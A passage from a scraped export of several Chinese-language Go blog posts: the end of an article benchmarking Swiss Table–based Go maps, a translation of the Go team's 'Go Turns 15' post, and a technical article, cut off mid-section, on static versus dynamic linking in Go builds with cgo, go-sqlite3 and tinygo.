注：gotip版本的安装请参考《Go语言第一课》专栏的第3讲。benchstat安装命令为go install golang.org/x/perf/cmd/benchstat@latest\n下面是result.txt中的结果：\ngoos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) Platinum │ origin-map.txt │ swiss-table-map.txt │ │ sec/op │ sec/op vs base │ MapIter/Int/12-8 179.7n ± 10% 190.6n ± 4% ~ (p=0.436 n=10) MapIter/Int/256-8 4.328µ ± 5% 3.748µ ± 1% -13.40% (p=0.000 n=10) MapIter/Int/8192-8 137.3µ ± 1% 123.6µ ± 1% -9.95% (p=0.000 n=10) MapAccessHit/Int64/12-8 10.12n ± 2% 10.68n ± 14% +5.64% (p=0.000 n=10) MapAccessHit/Int64/256-8 10.29n ± 3% 11.29n ± 1% +9.77% (p=0.000 n=10) MapAccessHit/Int64/8192-8 25.99n ± 1% 14.93n ± 1% -42.57% (p=0.000 n=10) MapAccessMiss/Int64/12-8 12.39n ± 88% 20.99n ± 50% ~ (p=0.669 n=10) MapAccessMiss/Int64/256-8 13.12n ± 6% 11.34n ± 7% -13.56% (p=0.000 n=10) MapAccessMiss/Int64/8192-8 15.71n ± 1% 14.03n ± 1% -10.66% (p=0.000 n=10) MapAssignGrow/Int64/12-8 607.1n ± 2% 622.6n ± 2% +2.54% (p=0.000 n=10) MapAssignGrow/Int64/256-8 25.98µ ± 3% 23.22µ ± 1% -10.64% (p=0.000 n=10) MapAssignGrow/Int64/8192-8 792.3µ ± 1% 844.1µ ± 1% +6.54% (p=0.000 n=10) MapAssignPreAllocate/Int64/12-8 450.2n ± 2% 409.2n ± 1% -9.11% (p=0.000 n=10) MapAssignPreAllocate/Int64/256-8 10.412µ ± 1% 6.055µ ± 2% -41.84% (p=0.000 n=10) MapAssignPreAllocate/Int64/8192-8 342.4µ ± 1% 232.6µ ± 2% -32.05% (p=0.000 n=10) MapAssignReuse/Int64/12-8 374.2n ± 1% 235.4n ± 2% -37.07% (p=0.000 n=10) MapAssignReuse/Int64/256-8 8.737µ ± 1% 4.716µ ± 4% -46.03% (p=0.000 n=10) MapAssignReuse/Int64/8192-8 296.4µ ± 1% 181.0µ ± 1% -38.93% (p=0.000 n=10) geomean 1.159µ 984.2n -15.11% 我们看到了除了少数测试项有不足外(比如MapAssignGrow以及一些元素数量少的情况下)，大多数测试项中，新版基于swiss table的map的性能都有大幅提升，有些甚至接近50%！\n5. 小结 本文探讨了Go语言中的map实现的重塑，即引入Swiss Table这一高效哈希表结构的背景与优势。Swiss Table由Google工程师开发，旨在优化内存使用和提升性能，解决了传统哈希表在高负载情况下的性能瓶颈。通过对比现有的链式哈希实现，Swiss Table展示了在查询、插入和删除操作上显著提高的性能，尤其是在处理大规模数据时。\n经过两年多的实验与评估，Go团队决定将Swiss Table作为Go map的底层实现，预计将在Go 1.24中正式落地。新的实现不仅承继了原有的语义约束，还通过引入多表和渐进式扩容的设计，进一步优化了扩容过程的性能。尽管当前实现仍在完善中，但Swiss Table的引入无疑为Go语言的性能提升提供了新的可能性，并为未来进一步优化奠定了基础。\n对于那些因Go引入自定义iterator而批评Go团队的Gopher来说，这个Go map的重塑无疑会很对他们的胃口。\n本文涉及的源码可以在这里下载。\n6. 参考资料 runtime: use SwissTable – https://github.com/golang/go/issues/54766 swiss table benchmark result – https://gist.github.com/aclements/9fb32ac0a287d2ff360f1bc166cdf4b8 Swisstable, a Quick and Dirty Description – https://faultlore.com/blah/hashbrown-tldr/ Swiss Tables Design Notes – https://abseil.io/about/design/swisstables Designing a Fast, Efficient, Cache-friendly Hash Table, Step by Step – https://www.youtube.com/watch?v=ncHmEUmJZf4 Abseil’s Open Source Hashtables: 2 Years In – https://www.youtube.com/watch?v=JZE3_0qvrMg Swiss Tables and absl::Hash – https://abseil.io/blog/20180927-swisstables SwissMap: A smaller, faster Golang Hash Table – https://www.dolthub.com/blog/2023-03-28-swiss-map/ What is a Hash Map? – https://www.freecodecamp.org/news/what-is-a-hash-map/ Inside the Map Implementation – https://www.youtube.com/watch?v=Tl7mi9QmLns Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/14/go-map-use-swiss-table/","summary":"\u003cp\u003e\u003cimg alt=\"Image 53\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-map-use-swiss-table-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/14/go-map-use-swiss-table\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/14/go-map-use-swiss-table\"\u003ehttps://tonybai.com/2024/11/14/go-map-use-swiss-table\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://github.com/golang/go/issues/43930#issuecomment-2458068992\"\u003e2024月11月5日的Go compiler and runtime meeting notes\u003c/a\u003e中，我们注意到了一段重要内容，如下图红框所示：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 54\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-map-use-swiss-table-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这表明，来自字节的一位工程师在两年多前提出的“\u003ca href=\"https://github.com/golang/go/issues/54766\"\u003e使用Swiss table重新实现Go map\u003c/a\u003e”的建议即将落地，目前该issue已经被纳入\u003ca href=\"https://github.com/golang/go/milestone/322\"\u003eGo 1.24里程碑\u003c/a\u003e。\u003c/p\u003e","title":"Go map使用Swiss Table重新实现，性能最高提升近50%"},{"content":"Go，15岁了[译] | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go，15岁了[译] 十一月 12, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/11/12/go-turns-15\n虽然迟到了，但绝不缺席！新任Go技术负责人Austin Clements在Go语言15岁生日后的第二天，在Go官方博客上发表了庆祝文章“Go Turns 15”。在这篇文章中，Austin回顾了过去一年Go项目和社区的变化，以及Go团队的努力工作，并对Go的未来发展进行了展望。我在此对这篇庆生文进行了翻译，供大家参考。\nGo，生日快乐！\n周日，我们庆祝了Go开源15周年！\n自从Go诞生10周年以来，无论是Go语言本身还是整个世界都经历了巨大的变化。尽管如此，有些方面依然保持不变：Go始终致力于稳定性、安全性，以及支持软件工程和大规模生产。\nGo语言发展势头强劲！在过去五年中，Go的用户群增加了三倍多(译注：不知道这个数据从何而来)，成为增长最快的编程语言之一。自十五年前诞生以来，Go已成为十大编程语言之一，并成为现代云计算的主要语言。\n来自TIOBE 2024年11月排行榜(译者配图)\n来自Github Octoverse 2024(译者配图)\n随着Go 1.22版本在二月份发布和Go 1.23版本在八月份发布，这一年可被称为“for循环之年”。Go 1.22将for循环中引入变量的作用域改为每次迭代，而非整个循环，从而解决了一个长期存在的语言“陷阱”。十多年前，在Go 1发布之前，Go团队对几个语言细节做出了决策，其中就包括for循环是否应该在每次迭代中创建一个新的循环变量。有趣的是，这次讨论非常简短且没有明确的意见。Rob Pike以他一贯的风格结束了讨论，只说了一个字：“stet”（保持原样）。结果也确实如此。尽管当时看似微不足道，但多年的生产经验突显了这一决策的影响。然而，在此期间，我们还构建了强大的工具来理解对Go的变更影响，特别是在整个Google代码库中进行生态系统范围的分析和测试，并建立了与社区合作和获取反馈的流程。在经过广泛的测试、分析和社区讨论后，我们推出了这一变更，并配备了哈希二分工具，以帮助开发者在大规模代码中精确定位受影响的部分。\n对for循环的变更仅是是五年演进调整的一部分。这一变更的实现得益于Go 1.21中引入的向前兼容性，而这又建立在四年半前Go 1.14发布的Go模块基础之上。\n译注：Go module首次在Go 1.11版本由Russ Cox设计和实现，Go 1.14版本首次宣布Go module具备生产使用的成熟度了。\nGo 1.23在此变更的基础上进一步引入了迭代器和用户定义的for-range循环。结合仅仅两年半前在Go 1.18中引入的泛型！——这为自定义集合和许多其他编程模式奠定了强大而人性化的基础。\n这些版本还带来了许多生产就绪方面的改进，包括备受期待的标准库HTTP路由器增强、执行跟踪的全面重构，以及为所有Go应用程序提供更强的随机性。此外，我们的第一个v2标准库包的引入为未来的标准库演进和现代化建立了模板。\n在过去的一年中，我们还谨慎地推出了Go工具的自愿使用的遥测系统。该系统将为Go开发者提供数据，以便他们做出更好的决策，同时保持完全开放和匿名。Go遥测最初出现在gopls（Go语言服务器）中，已经带来了许多改进。这项努力为使Go编程体验变得更加出色奠定了基础。\n展望未来，我们正在不断演进Go，以更好地利用当前和未来硬件的能力。在过去的15年中，硬件发生了巨大的变化。为了确保Go能够在接下来的15年中继续支持高性能、大规模的生产工作负载，我们需要适应大型多核处理器、先进的指令集，以及在non-uniform内存层次结构中日益重要的局部性。其中一些改进将是透明的。Go 1.24将推出全新底层实现的map，以提高在现代CPU上的执行效率。同时，我们正在进行新的垃圾回收算法的原型设计，以适应现代硬件的能力和限制。一些改进将以新的API和工具的形式出现，以便Go开发者更好地利用现代硬件。我们正在研究如何支持最新的向量和矩阵硬件指令，以及应用程序如何构建CPU和内存的局部性。指导我们努力的一个核心原则是可组合优化(composable optimization)：优化对代码库的影响应该尽可能局部化，以确保对其余代码库开发的便捷性不受影响。\n我们将继续确保Go的标准库在默认情况下是安全的，并在设计上也考虑到安全性。这包括不断努力将内置的、原生支持的FIPS认证加密功能纳入其中，使得需要FIPS加密的应用程序只需简单切换一个命令行标志即可使用。此外，我们还在不断改进Go的标准库包，并借鉴math/rand/v2的例子，考虑在哪里可以引入新的API，以显著提高编写安全和可靠的Go代码的便利性。\n我们正在努力使Go在人工智能领域表现更好，同时也让人工智能更好地服务于Go，增强其在AI基础设施、应用程序和开发者辅助工具方面的能力。Go是一种非常适合构建生产系统的语言，我们希望它也能成为构建生产级AI系统的优秀语言。作为云基础设施的可靠语言，Go自然成为大型语言模型（LLM）基础设施的理想选择。针对AI应用，我们将继续在流行的AI SDK中为Go提供一流的支持，包括LangChainGo和Genkit。从一开始，Go就旨在改善端到端的软件工程过程，因此我们自然希望引入AI的最新工具和技术，以减少开发者的重复劳动，从而留出更多时间来进行更有趣的编程活动！\n感谢您！\n所有这一切的实现都离不开Go的杰出贡献者和蓬勃发展的社区。十五年前，我们只能憧憬Go所取得的成功以及围绕Go发展起来的社区。感谢每一位参与其中的人，无论贡献大小。我们祝愿大家在新的一年里一切顺利！\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/12/go-turns-15/","summary":"\u003ch1 id=\"go15岁了译--tony-bai\"\u003eGo，15岁了[译] | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go15岁了译\"\u003eGo，15岁了[译]\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十一月 12, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/11/12/go-turns-15/#respond\" title=\"《Go，15岁了[译]》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 31\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-turns-15-1.png\"\u003e\u003c/p\u003e","title":"Go，15岁了[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/11/some-details-about-go-compilation\n在Go开发中，编译相关的问题看似简单，但实则蕴含许多细节。有时，即使是Go专家也需要停下来，花时间思考答案或亲自验证。本文将通过几个具体问题，和大家一起探讨Go编译过程中的一些你可能之前未曾关注的细节。\n注：本文示例使用的环境为Go 1.23.0、Linux Kernel 3.10.0和CentOS 7.9。\n1. Go编译默认采用静态链接还是动态链接？ 我们来看第一个问题：Go编译默认采用静态链接还是动态链接呢？\n很多人脱口而出：动态链接，因为CGO_ENABLED默认值为1，即开启Cgo。也有些人会说：“其实Go编译器默认是静态链接的，只有在使用C语言库时才会动态链接”。那么到底哪个是正确的呢？\n我们来看一个具体的示例。但在这之前，我们要承认一个事实，那就是CGO_ENABLED默认值为1，你可以通过下面命令来验证这一点：\n$go env|grep CGO_ENABLED CGO_ENABLED=\u0026#39;1\u0026#39; 验证Go默认究竟是哪种链接，我们写一个hello, world的Go程序即可：\n// go-compilation/main.go package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;hello, world\u0026#34;) } 构建该程序：\n$go build -o helloworld-default main.go 之后，我们查看一下生成的可执行文件helloworld-default的文件属性：\n$file helloworld-default helloworld-default: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped $ldd helloworld-default 不是动态可执行文件 我们看到，虽然CGO_ENABLED=1，但默认情况下，Go构建出的helloworld程序是静态链接的(statically linked)。\n那么默认情况下，Go编译器是否都会采用静态链接的方式来构建Go程序呢？我们给上面的main.go添加一行代码：\n// go-compilation/main-with-os-user.go package main import ( \u0026#34;fmt\u0026#34; _ \u0026#34;os/user\u0026#34; ) func main() { fmt.Println(\u0026#34;hello, world\u0026#34;) } 和之前的hello, world不同的是，这段代码多了一行包的空导入，导入的是os/user这个包。\n编译这段代码，我们得到helloworld-with-os-user可执行文件。\n$go build -o helloworld-with-os-user main-with-os-user.go 使用file和ldd检视文件helloworld-with-os-user：\n$file helloworld-with-os-user helloworld-with-os-user: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), not stripped $ldd helloworld-with-os-user linux-vdso.so.1 =\u0026gt; (0x00007ffcb8fd4000) libpthread.so.0 =\u0026gt; /lib64/libpthread.so.0 (0x00007fb5d6fce000) libc.so.6 =\u0026gt; /lib64/libc.so.6 (0x00007fb5d6c00000) /lib64/ld-linux-x86-64.so.2 (0x00007fb5d71ea000) 我们看到：一行新代码居然让helloworld从静态链接变为了动态链接，同时这也是如何编译出一个hello world版的动态链接Go程序的答案。\n通过nm命令我们还可以查看Go程序依赖了哪些C库的符号：\n$nm -a helloworld-with-os-user |grep \u0026#34; U \u0026#34; U abort U __errno_location U fprintf U fputc U free U fwrite U malloc U mmap U munmap U nanosleep U pthread_attr_destroy U pthread_attr_getstack U pthread_attr_getstacksize U pthread_attr_init U pthread_cond_broadcast U pthread_cond_wait U pthread_create U pthread_detach U pthread_getattr_np U pthread_key_create U pthread_mutex_lock U pthread_mutex_unlock U pthread_self U pthread_setspecific U pthread_sigmask U setenv U sigaction U sigaddset U sigemptyset U sigfillset U sigismember U stderr U strerror U unsetenv U vfprintf 由此，我们可以得到一个结论，在默认情况下(CGO_ENABLED=1)，Go会尽力使用静态链接的方式，但在某些情况下，会采用动态链接。那么究竟在哪些情况下会默认生成动态链接的程序呢？我们继续往下看。\n2. 在何种情况下默认会生成动态链接的Go程序？ 在以下几种情况下，Go编译器会默认(CGO_ENABLED=1)生成动态链接的可执行文件，我们逐一来看一下。\n2.1 一些使用C实现的标准库包 根据上述示例，我们可以看到，在某些情况下，即使只依赖标准库，Go 仍会在CGO_ENABLED=1的情况下采用动态链接。这是因为代码依赖的标准库包使用了C版本的实现。虽然这种情况并不常见，但os/user包和net包是两个典型的例子。\nos/user包的示例在前面我们已经见识过了。user包允许开发者通过名称或ID查找用户账户。对于大多数Unix系统(包括linux)，该包内部有两种版本的实现，用于解析用户和组ID到名称，并列出附加组ID。一种是用纯Go编写，解析/etc/passwd和/etc/group文件。另一种是基于cgo的，依赖于标准C库（libc）中的例程，如getpwuid_r、getgrnam_r和getgrouplist。当cgo可用(CGO_ENABLED=1)，并且特定平台的libc实现了所需的例程时，将使用基于cgo的（libc支持的）代码，即采用动态链接方式。\n同样，net包在名称解析(Name Resolution，即域名或主机名对应IP查找)上针对大多数Unix系统也有两个版本的实现：一个是纯Go版本，另一个是基于C的版本。C版本会在cgo可用且特定平台实现了相关C函数(比如getaddrinfo和getnameinfo等)时使用。\n下面是一个简单的使用net包并采用动态链接的示例：\n// go-compilation/main-with-net.go package main import ( \u0026#34;fmt\u0026#34; _ \u0026#34;net\u0026#34; ) func main() { fmt.Println(\u0026#34;hello, world\u0026#34;) } 编译后，我们查看一下文件属性：\n$go build -o helloworld-with-net main-with-net.go $file helloworld-with-net helloworld-with-net: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), not stripped $ldd helloworld-with-net linux-vdso.so.1 =\u0026gt; (0x00007ffd75dfd000) libresolv.so.2 =\u0026gt; /lib64/libresolv.so.2 (0x00007fdda2cf9000) libpthread.so.0 =\u0026gt; /lib64/libpthread.so.0 (0x00007fdda2add000) libc.so.6 =\u0026gt; /lib64/libc.so.6 (0x00007fdda270f000) /lib64/ld-linux-x86-64.so.2 (0x00007fdda2f13000) 我们看到C版本实现依赖了libresolv.so这个用于名称解析的C库。\n由此可得，当Go在默认cgo开启时，一旦依赖了标准库中拥有C版本实现的包，比如os/user、net等，Go编译器会采用动态链接的方式编译Go可执行程序。\n2.2 显式使用cgo调用外部C程序 如果使用cgo与外部C代码交互，那么生成的可执行文件必然会包含动态链接。下面我们来看一个调用cgo的简单示例。\n首先，建立一个简单的C lib：\n// go-compilation/my-c-lib $tree my-c-lib my-c-lib ├── Makefile ├── mylib.c └── mylib.h // go-compilation/my-c-lib/Makefile .PHONY: all static all: gcc -c -fPIC -o mylib.o mylib.c gcc -shared -o libmylib.so mylib.o static: gcc -c -fPIC -o mylib.o mylib.c ar rcs libmylib.a mylib.o // go-compilation/my-c-lib/mylib.h #ifndef MYLIB_H #define MYLIB_H void hello(); int add(int a, int b); #endif // MYLIB_H // go-compilation/my-c-lib/mylib.c #include \u0026lt;stdio.h\u0026gt; void hello() { printf(\u0026#34;Hello from C!\\n\u0026#34;); } int add(int a, int b) { return a + b; } 执行make all构建出动态链接库libmylib.so！接下来，我们编写一个Go程序通过cgo调用libmylib.so中：\n// go-compilation/main-with-call-myclib.go package main /* #cgo CFLAGS: -I ./my-c-lib #cgo LDFLAGS: -L ./my-c-lib -lmylib #include \u0026#34;mylib.h\u0026#34; */ import \u0026#34;C\u0026#34; import \u0026#34;fmt\u0026#34; func main() { // 调用 C 函数 C.hello() // 调用 C 中的加法函数 result := C.add(3, 4) fmt.Printf(\u0026#34;Result of addition: %d\\n\u0026#34;, result) } 编译该源码：\n$go build -o helloworld-with-call-myclib main-with-call-myclib.go 通过ldd可以看到，可执行文件helloworld-with-call-myclib是动态链接的，并依赖libmylib.so：\n$ldd helloworld-with-call-myclib linux-vdso.so.1 =\u0026gt; (0x00007ffcc39d8000) libmylib.so =\u0026gt; not found libpthread.so.0 =\u0026gt; /lib64/libpthread.so.0 (0x00007f7166df5000) libc.so.6 =\u0026gt; /lib64/libc.so.6 (0x00007f7166a27000) /lib64/ld-linux-x86-64.so.2 (0x00007f7167011000) 设置LD_LIBRARY_PATH(为了让程序找到libmylib.so)并运行可执行文件helloworld-with-call-myclib：\n$ LD_LIBRARY_PATH=./my-c-lib:$LD_LIBRARY_PATH ./helloworld-with-call-myclib Hello from C! Result of addition: 7 2.3 使用了依赖cgo的第三方包 在日常开发中，我们经常依赖一些第三方包，有些时候这些第三方包依赖cgo，比如mattn/go-sqlite3。下面就是一个依赖go-sqlite3包的示例：\n// go-compilation/go-sqlite3/main.go package main import ( \u0026#34;database/sql\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; _ \u0026#34;github.com/mattn/go-sqlite3\u0026#34; ) func main() { // 打开数据库（如果不存在，则创建） db, err := sql.Open(\u0026#34;sqlite3\u0026#34;, \u0026#34;./test.db\u0026#34;) if err != nil { log.Fatal(err) } defer db.Close() // 创建表 sqlStmt := `CREATE TABLE IF NOT EXISTS user (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT);` _, err = db.Exec(sqlStmt) if err != nil { log.Fatalf(\u0026#34;%q: %s\\n\u0026#34;, err, sqlStmt) } // 插入数据 _, err = db.Exec(`INSERT INTO user (name) VALUES (?)`, \u0026#34;Alice\u0026#34;) if err != nil { log.Fatal(err) } // 查询数据 rows, err := db.Query(`SELECT id, name FROM user;`) if err != nil { log.Fatal(err) } defer rows.Close() for rows.Next() { var id int var name string err = rows.Scan(\u0026amp;id, \u0026amp;name) if err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;%d: %s\\n\u0026#34;, id, name) } // 检查查询中的错误 if err = rows.Err(); err != nil { log.Fatal(err) } } 编译和运行该源码：\n$go build demo $ldd demo linux-vdso.so.1 =\u0026gt; (0x00007ffe23d8e000) libdl.so.2 =\u0026gt; /lib64/libdl.so.2 (0x00007faf0ddef000) libpthread.so.0 =\u0026gt; /lib64/libpthread.so.0 (0x00007faf0dbd3000) libc.so.6 =\u0026gt; /lib64/libc.so.6 (0x00007faf0d805000) /lib64/ld-linux-x86-64.so.2 (0x00007faf0dff3000) $./demo 1: Alice 到这里，有些读者可能会问一个问题：如果需要在上述依赖场景中生成静态链接的Go程序，该怎么做呢？接下来，我们就来看看这个问题的解决细节。\n3. 如何在上述情况下实现静态链接？ 到这里是不是有些烧脑了啊！我们针对上一节的三种情况，分别对应来看一下静态编译的方案。\n3.1 仅依赖标准包 在前面我们说过，之所以在使用os/user、net包时会在默认情况下采用动态链接，是因为Go使用了这两个包对应功能的C版实现，如果要做静态编译，让Go编译器选择它们的纯Go版实现即可。那我们仅需要关闭CGO即可，以依赖标准库os/user为例：\n$CGO_ENABLED=0 go build -o helloworld-with-os-user-static main-with-os-user.go $file helloworld-with-os-user-static helloworld-with-os-user-static: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped $ldd helloworld-with-os-user-static 不是动态可执行文件 3.2 使用cgo调用外部c程序（静态链接） 对于依赖cgo调用外部c的程序，我们要使用静态链接就必须要求外部c库提供静态库，因此，我们需要my-c-lib提供一份libmylib.a，这通过下面命令可以实现(或执行make static)：\n$gcc -c -fPIC -o mylib.o mylib.c $ar rcs libmylib.a mylib.o 有了libmylib.a后，我们还要让Go程序静态链接该.a文件，于是我们需要修改一下Go源码中cgo链接的flag，加上静态链接的选项：\n// go-compilation/main-with-call-myclib-static.go ... ... #cgo LDFLAGS: -static -L my-c-lib -lmylib ... ... 编译链接并查看一下文件属性：\n$go build -o helloworld-with-call-myclib-static main-with-call-myclib-static.go $file helloworld-with-call-myclib-static helloworld-with-call-myclib-static: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=b3da3ed817d0d04230460069b048cab5f5bfc3b9, not stripped 我们得到了预期的结果！\n3.3 依赖使用cgo的外部go包（静态链接） 最麻烦的是这类情况，要想实现静态链接，我们需要找出外部go依赖的所有c库的.a文件(静态共享库)。以我们的go-sqlite3示例为例，go-sqlite3是sqlite库的go binding，它依赖sqlite库，同时所有第三方c库都依赖libc，我们还要准备一份libc的.a文件，下面我们就先安装这些：\n$yum install -y gcc glibc-static sqlite-devel ... ... 已安装: sqlite-devel.x86_64 0:3.7.17-8.el7_7.1 更新完毕: glibc-static.x86_64 0:2.17-326.el7_9.3 接下来，我们就来以静态链接的方式在go-compilation/go-sqlite3-static下编译一下：\n$go build -tags \u0026#39;sqlite_omit_load_extension\u0026#39; -ldflags \u0026#39;-linkmode external -extldflags \u0026#34;-static\u0026#34;\u0026#39; demo $file ./demo ./demo: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=c779f5c3eaa945d916de059b56d94c23974ce61c, not stripped 这里命令行中的-tags ‘sqlite_omit_load_extension’用于禁用SQLite3的动态加载功能，确保更好的静态链接兼容性。而-ldflags ‘-linkmode external -extldflags “-static”‘的含义是使用外部链接器(比如gcc linker)，并强制静态链接所有库。\n我们再看完略烧脑的几个细节后，再来看一个略轻松的话题。\n4. Go编译出的可执行文件过大，能优化吗？ Go编译出的二进制文件一般较大，一个简单的“Hello World”程序通常在2MB左右：\n$ls -lh helloworld-default -rwxr-xr-x 1 root root 2.1M 11月 3 10:39 helloworld-default 这一方面是因为Go将整个runtime都编译到可执行文件中了，另一方面也是因为Go静态编译所致。那么在默认情况下，Go二进制文件的大小还有优化空间么？方法不多，有两种可以尝试：\n去除符号表和调试信息 在编译时使用-ldflags=”-s -w”标志可以去除符号表和调试符号，其中-s用于去掉符号表和调试信息，-w用于去掉DWARF调试信息，这样能显著减小文件体积。以helloworld为例，可执行文件的size减少了近四成：\n$go build -ldflags=\u0026#34;-s -w\u0026#34; -o helloworld-default-nosym main.go $ls -l -rwxr-xr-x 1 root root 2124504 11月 3 10:39 helloworld-default -rwxr-xr-x 1 root root 1384600 11月 3 13:34 helloworld-default-nosym 使用tinygo TinyGo是一个Go语言的编译器，它专为资源受限的环境而设计，例如微控制器、WebAssembly和其他嵌入式设备。TinyGo的目标是提供一个轻量级的、能在小型设备上运行的Go运行时，同时尽可能支持Go语言的特性。tinygo的一大优点就是生成的二进制文件通常比标准Go编译器生成的文件小得多：\n$tinygo build -o helloworld-tinygo main.go $ls -l 总用量 2728 -rwxr-xr-x 1 root root 2128909 11月 5 05:43 helloworld-default* -rwxr-xr-x 1 root root 647600 11月 5 05:45 helloworld-tinygo* 我们看到：tinygo生成的可执行文件的size仅是原来的30%。\n注：虽然TinyGo在特定场景（如IoT和嵌入式开发）中非常有用，但在常规服务器环境中，由于生态系统兼容性、性能、调试支持等方面的限制，可能并不是最佳选择。对于需要高并发、复杂功能和良好调试支持的应用，标准Go仍然是更合适的选择。\n注：这里使用的tinygo为0.34.0版本。\n5. 未使用的符号是否会被编译到Go二进制文件中？ 到这里，相信读者心中也都会萦绕一些问题：到底哪些符号被编译到最终的Go二进制文件中了呢？未使用的符号是否会被编译到Go二进制文件中吗？在这一小节中，我们就来探索一下。\n出于对Go的了解，我们已经知道无论是GOPATH时代，还是Go 